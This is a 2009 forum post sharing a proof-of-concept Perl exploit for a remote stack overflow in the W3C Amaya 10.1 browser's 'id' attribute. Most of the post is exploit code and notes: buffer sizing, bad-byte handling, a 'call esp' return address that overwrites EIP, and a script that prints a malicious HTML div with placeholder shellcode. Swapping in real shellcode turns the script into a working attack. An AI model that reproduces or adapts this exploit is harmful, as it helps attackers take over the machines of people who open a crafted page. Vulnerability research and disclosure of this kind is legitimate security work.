Re: W3C Amaya 10.1 Web Browser (id) Remote Stack Overflow PoC

Discussion in 'Web Programming' started by r0ut3r, Jan 2, 2009.

Re: W3C Amaya 10.1 Web Browser (id) Remote Stack Overflow PoC
  1. Unread #1 - Jan 2, 2009 at 8:29 PM
  2. r0ut3r
    Joined:
    Jan 2, 2009
    Posts:
    263
    Referrals:
    0
    Sythe Gold:
    0

    r0ut3r Forum Addict
    Banned

    Re: W3C Amaya 10.1 Web Browser (id) Remote Stack Overflow PoC

    Code:
    #            W3C Amaya 10.1 Web Browser
    #
    # Amaya (id) Remote Stack Overflow Vulnerability
    #
    # Written and discovered by: 
    # r0ut3r (writ3r [at] gmail.com / www.bmgsec.com.au)
    #
    # Advisory: http://www.bmgsec.com.au/advisory/41/
    # ------------------------------------------------------
    #
    # Shellcode notes: 
    # The application fails to correctly process certain bytes: 
    # 0x9c becomes 0x9cc2
    # Similar events occur with different bytes (0xf8, 0xfb, 0xbe, 0x93, 0xab, 0xaf 0xeb). 
    #
    # After reviewing the source code, the below function modifies the
    # shellcode:  
    # Line 902: int TtaWCToMBstring (wchar_t src, unsigned char **dest)
    #
    # The max value which can be used is 0x1fffff <-- Thanks Luigi!
    # ------------------------------------------------------
    #
    # The "id" variable of a tag contains a buffer overflow: 
    # <div id=" 93*'A/' ">r0ut3r</div>
    #
    # The application will not overflow with normal alphanumeric characters. 
    # To fill the buffer I had to use "A/" repeated 91 times. Therefore buffer length is: 
    # 91 * 2 = 182 + 4
    #
    # [junk] + [eip] +     [shellcode]
    #  182   +   4   +  sizeof(shellcode)
    #
    # ESP points to data after EIP. 
    #
    # "id" variable Proof of concept: 
    #!/usr/bin/perl
    
    use warnings;
    use strict;
    
    my $shellcode = 'C' x 350;
    
    # 0x7D035F53 -> \x53\x5f\x03\x7d <-- Bingo! (call esp)
    my $data   =       '<div id="' .
                            'A/' x 91 .
                            "\x53\x5f\x03\x7d" . # eip (ESP points to stuff after RET, so shellcode)
                            $shellcode . 
                            '">test</div>';
    print $data;
    
     
< Perl; Skype extension for firefox BETA 2.2.0.95 Clipboard Writing Vulnerability PoC | W3C Amaya 10.1 Web Browser >

Users viewing this thread
1 guest


 
 
Adblock breaks this site